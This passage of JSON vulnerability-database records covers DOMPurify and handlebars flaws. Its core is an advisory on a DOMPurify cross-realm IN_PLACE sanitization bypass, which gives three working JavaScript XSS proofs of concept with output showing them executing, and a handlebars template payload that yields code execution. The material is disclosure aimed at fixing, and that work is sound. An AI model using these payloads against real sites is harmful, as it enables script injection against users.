later.","status":"published","published":"2020-09-04T15:07:38Z","modified":"2023-01-09T05:04:24Z","updated_at":"2026-11-02T14:36:09.554044Z"}],"nvd":[{"id":"CVE-2026-49458","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.6, DOMPurify.sanitize(node, { IN_PLACE: true }) accepted same-origin foreign-realm DOM nodes while follow-on checks used parent-realm constructors, causing instanceof checks for forms, named node maps, document fragments, and elements to fail and skip clobber, template-content, and shadow-DOM sanitization branches so executable markup could survive. This issue is fixed in version 3.4.6.","status":"published","published":"2026-07-14T21:17:01.62Z","modified":"2026-10-24T21:10:00.13Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79","CWE-501","CWE-693"],"updated_at":"2026-11-02T14:12:29.879716Z"}],"osv":[{"id":"CVE-2026-49458","title":"DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.6, DOMPurify.sanitize(node, { IN_PLACE: true }) accepted same-origin foreign-realm DOM nodes while follow-on checks used parent-realm constructors, causing instanceof checks for forms, named node maps, document fragments, and elements to fail and skip clobber, template-content, and shadow-DOM sanitization branches so executable markup could survive. This issue is fixed in version 3.4.6.","status":"published","published":"2026-07-14T19:58:50.397Z","modified":"2026-10-28T02:31:10.334668736Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-501","CWE-693","CWE-79"],"updated_at":"2026-11-02T15:45:07.060148Z"},{"id":"DEBIAN-CVE-2026-49458","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.6, DOMPurify.sanitize(node, { IN_PLACE: true }) accepted same-origin foreign-realm DOM nodes while follow-on checks used parent-realm constructors, causing instanceof checks for forms, named node maps, document fragments, and elements to fail and skip clobber, template-content, and shadow-DOM sanitization branches so executable markup could survive. This issue is fixed in version 3.4.6.","status":"published","published":"2026-07-14T21:17:01.62Z","modified":"2026-10-25T09:47:42.848876234Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:56.444225Z"},{"id":"GHSA-2cf5-4w76-r9qv","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\nThe following template can be used to demonstrate the vulnerability:  \n```{{#with \"constructor\"}}\n\t{{#with split as |a|}}\n\t\t{{pop (push \"alert('Vulnerable Handlebars JS');\")}}\n\t\t{{#with (concat (lookup join (slice 0 1)))}}\n\t\t\t{{#each (slice 2 3)}}\n\t\t\t\t{{#with (apply 0 a)}}\n\t\t\t\t\t{{.}}\n\t\t\t\t{{/with}}\n\t\t\t{{/each}}\n\t\t{{/with}}\n\t{{/with}}\n{{/with}}```\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.2 or later.","status":"published","published":"2020-09-04T14:57:38Z","modified":"2026-09-10T03:48:33.174881747Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:34.338541Z"},{"id":"GHSA-hpcv-96wg-7vj8","title":"DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks","description":"# Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks\n\n**CWE**: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound `instanceof` checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)\n\n## Summary\n\n`DOMPurify.sanitize(node, { IN_PLACE: true })` accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, `instanceof HTMLFormElement`, `instanceof NamedNodeMap`, `instanceof DocumentFragment`, and `instanceof Element` all return `false` for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm `\u003ctemplate\u003e`'s `.content` is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.\n\n## Affected\n\n- DOMPurify ≤ 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created `\u003ciframe srcdoc\u003e`) and then calls `DOMPurify.sanitize(foreignNode, { IN_PLACE: true })` against a sanitizer instance bound to a different realm\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` — the library calls its own parser inside `_initDocument`, the resulting nodes belong to the sanitizer's own realm, and the `instanceof` checks resolve as expected\n- IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance\n\n## Vulnerability details\n\nThe unifying defect is that `_isClobbered`, `_sanitizeShadowDOM`'s template-content recursion, and `_sanitizeAttachedShadowRoots` all use realm-bound `instanceof` checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.\n\n### [A] — `_isClobbered` gates on `element instanceof HTMLFormElement`\n\n`src/purify.ts:1120-1140`:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n  return (\n    element instanceof HTMLFormElement \u0026\u0026    // [A] realm-bound — false for any\n                                              //     iframe-realm \u003cform\u003e element\n    (typeof element.nodeName !== 'string' ||\n      typeof element.textContent !== 'string' ||\n      typeof element.removeChild !== 'function' ||\n      !(element.attributes instanceof NamedNodeMap) ||   // [A'] also realm-bound\n      typeof element.removeAttribute !== 'function' ||\n      typeof element.setAttribute !== 'function' ||\n      typeof element.namespaceURI !== 'string' ||\n      typeof element.insertBefore !== 'function' ||\n      typeof element.hasChildNodes !== 'function' ||\n      !(element.childNodes \u0026\u0026 typeof element.childNodes.length === 'number'))\n  );\n};\n```\n\nA foreign-realm `\u003cform\u003e` is an instance of the foreign realm's `HTMLFormElement`, not the parent realm's. The leading `instanceof` short-circuits to `false`, so `_isClobbered` returns `false` regardless of the named-property clobbering present on the form. The follow-on `_sanitizeAttributes` then iterates `currentNode.attributes` — which itself can be a clobbered value (a foreign-realm `\u003cinput\u003e` whose `name=\"attributes\"` shadows the form's real `NamedNodeMap`). The attribute walk traverses the wrong collection and never reaches the actual `onmouseover` / `onclick` / `action=javascript:` attributes on the form root.\n\n### [B] — `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`\n\n`src/purify.ts:1660-1662`:\n\n```ts\nwhile ((shadowNode = shadowIterator.nextNode())) {\n  ...\n  _sanitizeElements(shadowNode);\n  _sanitizeAttributes(shadowNode);\n  /* Deep shadow DOM detected */\n  if (shadowNode.content instanceof DocumentFragment) {   // [B] realm-bound\n    _sanitizeShadowDOM(shadowNode.content);\n  }\n}\n```\n\nThe same check exists in the main iterator at `:1861-1862`:\n\n```ts\nif (currentNode.content instanceof DocumentFragment) {     // [B'] realm-bound\n  _sanitizeShadowDOM(currentNode.content);\n}\n```\n\nFor a `\u003ctemplate\u003e` element constructed in a foreign realm, `template.content` is a `DocumentFragment` from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled `\u003cimg src=x onerror=...\u003e` etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does `node.cloneNode(true)` / `importNode(template.content, true)` / inserts it into the live DOM, the embedded handler fires.\n\n### [C] — `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`\n\n`src/purify.ts:1702-1712`:\n\n```ts\nif (nodeType === NODE_TYPE.element) {\n  const sr = getShadowRoot\n    ? getShadowRoot(root)\n    : (root as Element).shadowRoot;\n  if (sr instanceof DocumentFragment) {                    // [C] realm-bound\n    _sanitizeAttachedShadowRoots(sr);\n    _sanitizeShadowDOM(sr);\n  }\n}\n```\n\nFor a host element constructed in a foreign realm with `host.attachShadow({mode:'open'})`, `host.shadowRoot` is a foreign-realm `ShadowRoot` (which extends the foreign realm's `DocumentFragment`). The `instanceof DocumentFragment` against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.\n\n### The mismatch\n\nDOMPurify *accepts* foreign-realm nodes for sanitization (the entry-point's `_isNode(dirty)` at `:1750` is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. `[A]` / `[B]` / `[C]` each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., `nodeType === 11` for `DocumentFragment`, tag-name comparison for `HTMLFormElement` recognition).\n\n## Proof of concept\n\nEach PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm `DOMPurify.sanitize(node, { IN_PLACE: true })` and verifies that handler execution succeeds on subsequent activation.\n\n### PoC 1 — cross-realm form clobbering survives\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e';\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement('div'); div.id = 'dirty';\n  const form = idoc.createElement('form');\n  form.setAttribute('onmouseover',\n    'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1');\n  const inp = idoc.createElement('input');\n  inp.setAttribute('name', 'attributes');                  // clobbers form.attributes\n  form.appendChild(inp);\n  div.appendChild(form);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_xss = 0;\n  document.body.appendChild(div);\n  form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));\n  // window.__dompurify_xss === 1\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved (Chromium 148, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```json\n{\n  \"sanitizeError\": null,\n  \"before\": {\n    \"formIsMainRealmHTMLFormElement\": false,\n    \"formIsForeignRealmHTMLFormElement\": true,\n    \"formAttributesType\": \"[object HTMLInputElement]\",\n    \"formAttributesEqualsInput\": true\n  },\n  \"after\": {\n    \"html\": \"\u003cdiv id=\\\"dirty\\\"\u003e\u003cform onmouseover=\\\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\\\"\u003e\u003cinput\u003e\u003c/form\u003e\u003c/div\u003e\",\n    \"formOnmouseover\": \"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 2 — cross-realm `\u003ctemplate\u003e` content is never walked\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e';\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement('div');\n  const tpl = idoc.createElement('template');\n  tpl.innerHTML = '\u003cimg src=\"x\" onerror=' +\n    '\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\"\u003e';\n  div.appendChild(tpl);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_template_xss = 0;\n  const clone = idoc.importNode(tpl.content, true);\n  document.body.appendChild(clone);                        // fires onerror\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"templateIsMainRealmHTMLTemplateElement\": false,\n    \"contentIsMainRealmDocumentFragment\": false,\n    \"contentIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"templateInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\\\"\u003e\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 3 — cross-realm attached shadow root is never walked\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e';\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const host = idoc.createElement('div');\n  host.attachShadow({ mode: 'open' }).innerHTML =\n    '\u003cimg src=x onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"\u003e\u003cb\u003esafe text\u003c/b\u003e';\n\n  DOMPurify.sanitize(host, { IN_PLACE: true });\n\n  window.__dompurify_shadow_xss = 0;\n  document.body.appendChild(host);                          // shadow activates, onerror fires\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"hostIsMainRealmElement\": false,\n    \"shadowRootIsMainRealmDocumentFragment\": false,\n    \"shadowRootIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"shadowRootInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\\\"\u003e\u003cb\u003esafe text\u003c/b\u003e\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\nAll three PoCs run cleanly against `dist/purify.js` built from current `main` HEAD `89da34e`.\n\n## Impact\n\n### Direct\n\nAny application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for `\u003cbase href\u003e` isolation, `document.write` sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with `IN_PLACE: true` is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:\n\n- **Form root attributes** — `onmouseover`, `onfocus`, `onclick`, `action=\"javascript:...\"`, `formaction=`, `target=`, `id=` (DOM-clobbering target), and the full attribute-allowlist set, because `_sanitizeAttributes` walks a clobbered `.attributes` instead of the real `NamedNodeMap`.\n- **`\u003ctemplate\u003e` content** — `\u003cimg onerror\u003e`, `\u003csvg\u003e\u003cscript\u003e`, `\u003ciframe srcdoc\u003e`, etc., because the inert template tree is never recursed into.\n- **Attached shadow roots** — any markup inside the shadow root, because the shadow walk is skipped entirely.\n\nXSS triggers when the consuming code:\n- Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus).\n- Clones template content with `importNode` / `cloneNode(true)` / `node.appendChild(template.content)` into the live DOM.\n- Appends the shadow host to the live document (the shadow root becomes active and `\u003cimg onerror\u003e` fires synchronously during the insertion microtask).\n\n### Indirect / second-order\n\n- **DOM-based template engines** (Lit, Polymer, Vue, FAST) that often use foreign-realm `\u003ctemplate\u003e` parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped.\n- **Editor / WYSIWYG frameworks** that render preview content inside a same-origin iframe and then move it into the main document after sanitization.\n- **Email/HTML preview libraries** that parse received HTML in an isolated iframe to neutralize CSS / `\u003cbase\u003e` / form submission, then sanitize via the main page's DOMPurify.\n- **Declarative shadow DOM consumers** that adopt a host from one realm into another — the shadow subtree carries the bypass.\n\nThe known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound `instanceof` checks at `[A]`, `[B]`, `[C]`; current `main` HEAD is still affected.\n\n## Root cause\n\nPer-realm constructors. `instanceof X` checks the prototype chain against the parent realm's `X.prototype`. Foreign-realm objects have a different `X.prototype` and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for `IN_PLACE` sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: *\"we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root.\"*\n\nOther realm-bound `instanceof` sites in the same file that should likely be audited as part of the same fix sweep:\n\n```ts\nelement instanceof HTMLFormElement     // src/purify.ts:1122\nelement.attributes instanceof NamedNodeMap  // src/purify.ts:1126\nsr instanceof DocumentFragment         // src/purify.ts:1706\ncurrentNode.content instanceof DocumentFragment  // src/purify.ts:1861\nshadowNode.content instanceof DocumentFragment   // src/purify.ts:1660 (approx)\ncurrentNode instanceof Element         // src/purify.ts:1296 (callsite of _checkValidNamespace)\n```\n\n## Suggested fix\n\nUse realm-independent shape checks consistently for any decision made on a node accepted from `IN_PLACE`:\n\n1. **`HTMLFormElement` detection** — compare via the realm-independent `getNodeName` cached prototype getter introduced for the recent shadow-root traversal hardening:\n\n   ```ts\n   const _isClobbered = function (element: Element): boolean {\n     const nn = getNodeName ? getNodeName(element) : element.nodeName;\n     if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false;\n     // ... rest of the typeof / cached-getter shape checks ...\n   };\n   ```\n\n2. **`DocumentFragment` detection** — `nodeType === NODE_TYPE.documentFragment` (i.e., `11`), not `instanceof DocumentFragment`. The check is already realm-independent because `Node.nodeType` is a numeric constant. Same change for the `\u003ctemplate\u003e`-content and attached-shadow-root recursion sites.\n\n3. **`NamedNodeMap` detection** — read `element.attributes` via the cached `Element.prototype.attributes` getter (introduce `getAttributes = lookupGetter(ElementPrototype, 'attributes')`) and verify `nodeType === 11`-style shape (length is a number, indexed `[i]` returns objects with `.name`/`.value` strings). Do not rely on `instanceof NamedNodeMap`.\n\n4. **`Element` detection** at `:1296` — replace `currentNode instanceof Element` with a shape check (`getNodeType(currentNode) === NODE_TYPE.element`).\n\nThe invariant the fix should encode: *once `IN_PLACE` accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe.* The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.","status":"published","published":"2026-06-15T19:56:35Z","modified":"2026-09-10T03:50:49.943821317Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-501","CWE-693","CWE-79"],"updated_at":"2026-11-02T15:46:49.28217Z"},{"id":"GHSA-q42p-pg8m-cqh6","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.\n\n\n## Recommendation\n\nFor handlebars 4.1.x upgrade to 4.1.2 or later.\nFor handlebars 4.0.x upgrade to 4.0.14 or later.","status":"published","published":"2019-06-05T14:07:48Z","modified":"2026-09-10T03:48:23.648231681Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-471"],"updated_at":"2026-11-02T15:46:54.055966Z"},{"id":"UBUNTU-CVE-2026-49458","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.6, DOMPurify.sanitize(node, { IN_PLACE: true }) accepted same-origin foreign-realm DOM nodes while follow-on checks used parent-realm constructors, causing instanceof checks for forms, named node maps, document fragments, and elements to fail and skip clobber, template-content, and shadow-DOM sanitization branches so executable markup could survive. This issue is fixed in version 3.4.6.","status":"published","published":"2026-07-14T21:17:00Z","modified":"2026-10-17T12:58:56.976214244Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:33.391918Z"},{"id":"CLSA-2026-1774743817","title":"TuxCare security update for handlebars (1 CVE)","description":"TuxCare rebuilt handlebars to address 1 CVE. Fixed in 1.3.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:15Z","modified":"2026-10-15T09:47:48.668758728Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774743830","title":"TuxCare security update for handlebars (3 CVEs)","description":"TuxCare rebuilt handlebars to address 3 CVEs. Fixed in 1.0.12-tuxcare.2.","status":"published","published":"2026-08-04T14:52:16Z","modified":"2026-10-23T19:28:13.663406058Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1785554485","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.6-tuxcare.6.","status":"published","published":"2026-08-04T14:52:51Z","modified":"2026-10-15T09:45:59.303834408Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1786731853","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.3-tuxcare.3.","status":"published","published":"2026-08-14T18:24:13Z","modified":"2026-10-15T09:46:00.690246088Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1786731948","title":"TuxCare security update for dompurify (34 CVEs)","description":"TuxCare rebuilt dompurify to address 34 CVEs. Fixed in 3.0.3-tuxcare.1.","status":"withdrawn","published":"2026-08-14T18:25:48Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787602198","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.7-tuxcare.1.","status":"published","published":"2026-08-24T20:09:58Z","modified":"2026-10-15T09:48:03.099706625Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1789152222","title":"TuxCare security update for dompurify (11 CVEs)","description":"TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 2.3.0-tuxcare.5.","status":"published","published":"2026-09-11T18:43:42Z","modified":"2026-10-16T19:13:13.829024571Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1789153936","title":"TuxCare security update for dompurify (9 CVEs)","description":"TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 2.4.0-tuxcare.5.","status":"published","published":"2026-09-11T19:12:16Z","modified":"2026-10-16T19:13:12.92826655Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1789154068","title":"TuxCare security update for dompurify (12 CVEs)","description":"TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 3.0.3-tuxcare.5.","status":"published","published":"2026-09-11T19:14:28Z","modified":"2026-10-16T19:13:11.209772816Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1789154458","title":"TuxCare security update for dompurify (9 CVEs)","description":"TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 2.4.7-tuxcare.5.","status":"published","published":"2026-09-11T19:20:58Z","modified":"2026-10-16T19:13:12.113864827Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1789155659","title":"TuxCare security update for dompurify (12 CVEs)","description":"TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 2.4.3-tuxcare.8.","status":"published","published":"2026-09-11T19:40:59Z","modified":"2026-10-16T19:13:13.533550553Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1789155876","title":"TuxCare security update for dompurify (8 CVEs)","description":"TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 2.5.8-tuxcare.7.","status":"published","published":"2026-09-11T19:44:36Z","modified":"2026-10-16T19:13:12.430055203Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1792150209","title":"TuxCare security update for dompurify (9 CVEs)","description":"TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 3.4.5-tuxcare.2.","status":"published","published":"2026-10-16T11:30:09Z","modified":"2026-10-16T12:15:02.208574712Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792155851","title":"TuxCare security update for dompurify (12 CVEs)","description":"TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 3.1.3-tuxcare.2.","status":"published","published":"2026-10-16T13:04:11Z","modified":"2026-10-21T20:43:23.163914038Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792156267","title":"TuxCare security update for dompurify (9 CVEs)","description":"TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 3.1.2-tuxcare.2.","status":"published","published":"2026-10-16T13:11:07Z","modified":"2026-10-21T20:43:22.742858668Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792156282","title":"TuxCare security update for dompurify (11 CVEs)","description":"TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 3.1.4-tuxcare.2.","status":"published","published":"2026-10-16T13:11:22Z","modified":"2026-10-21T20:43:22.552871845Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792156382","title":"TuxCare security update for dompurify (9 CVEs)","description":"TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 3.0.2-tuxcare.2.","status":"published","published":"2026-10-16T13:13:02Z","modified":"2026-10-21T20:43:22.190952605Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792156500","title":"TuxCare security update for dompurify (6 CVEs)","description":"TuxCare rebuilt dompurify to address 6 CVEs. Fixed in 2.0.8-tuxcare.2.","status":"published","published":"2026-10-16T13:15:00Z","modified":"2026-10-23T19:28:12.602609601Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792156589","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.9-tuxcare.2.","status":"published","published":"2026-10-16T13:16:29Z","modified":"2026-10-21T20:43:20.928803832Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792156694","title":"TuxCare security update for dompurify (11 CVEs)","description":"TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 3.0.8-tuxcare.2.","status":"published","published":"2026-10-16T13:18:14Z","modified":"2026-10-21T20:43:18.588659369Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792156803","title":"TuxCare security update for dompurify (5 CVEs)","description":"TuxCare rebuilt dompurify to address 5 CVEs. Fixed in 2.3.10-tuxcare.2.","status":"published","published":"2026-10-16T13:20:03Z","modified":"2026-10-21T20:43:18.732958917Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792156909","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.1-tuxcare.2.","status":"published","published":"2026-10-16T13:21:49Z","modified":"2026-10-21T20:43:22.31228165Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792157013","title":"TuxCare security update for dompurify (13 CVEs)","description":"TuxCare rebuilt dompurify to address 13 CVEs. Fixed in 3.1.0-tuxcare.2.","status":"published","published":"2026-10-16T13:23:33Z","modified":"2026-10-21T20:43:22.452640022Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792157113","title":"TuxCare security update for dompurify (12 CVEs)","description":"TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 3.0.11-tuxcare.2.","status":"published","published":"2026-10-16T13:25:13Z","modified":"2026-10-21T20:43:21.625485698Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792159369","title":"TuxCare security update for dompurify (5 CVEs)","description":"TuxCare rebuilt dompurify to address 5 CVEs. Fixed in 3.3.3-tuxcare.2.","status":"published","published":"2026-10-16T14:02:49Z","modified":"2026-10-16T16:30:25.233578048Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161408","title":"TuxCare security update for dompurify (8 CVEs)","description":"TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.1.1-tuxcare.2.","status":"published","published":"2026-10-16T14:36:47Z","modified":"2026-10-21T20:43:19.85040711Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161492","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.6-tuxcare.2.","status":"published","published":"2026-10-16T14:38:11Z","modified":"2026-10-16T16:30:09.033084778Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792424449","title":"TuxCare security update for dompurify (12 CVEs)","description":"TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 2.3.3-tuxcare.3.","status":"published","published":"2026-10-19T15:40:49Z","modified":"2026-11-05T13:28:25.722214359Z","updated_at":"2026-11-05T16:37:45.64821Z"},{"id":"CLSA-2026-1792929243","title":"TuxCare security update for dompurify (7 CVEs)","description":"TuxCare rebuilt dompurify to address 7 CVEs. Fixed in 3.0.6-tuxcare.5.","status":"published","published":"2026-10-25T11:54:03Z","modified":"2026-10-27T01:57:59.213574581Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792933945","title":"TuxCare security update for dompurify (12 CVEs)","description":"TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 3.4.0-tuxcare.1.","status":"published","published":"2026-10-25T13:12:25Z","modified":"2026-10-25T19:15:03.066551076Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1793101871","title":"TuxCare security update for dompurify (11 CVEs)","description":"TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 